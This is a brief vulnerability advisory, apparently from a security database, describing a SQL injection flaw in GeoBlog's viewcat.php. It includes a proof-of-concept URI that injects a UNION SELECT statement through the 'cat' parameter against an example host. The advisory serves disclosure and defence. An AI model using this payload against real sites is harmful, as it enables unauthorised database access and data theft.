• info
• discussion
• exploit
• solution
• references

GeoBlog ViewCat.PHP SQL Injection Vulnerability

An exploit is not required.

The following proof of concept URI is available:
http://www.example.com/geoblog/viewcat.php?cat=I'%20union%20select%201,2,3,4,5,6,7/*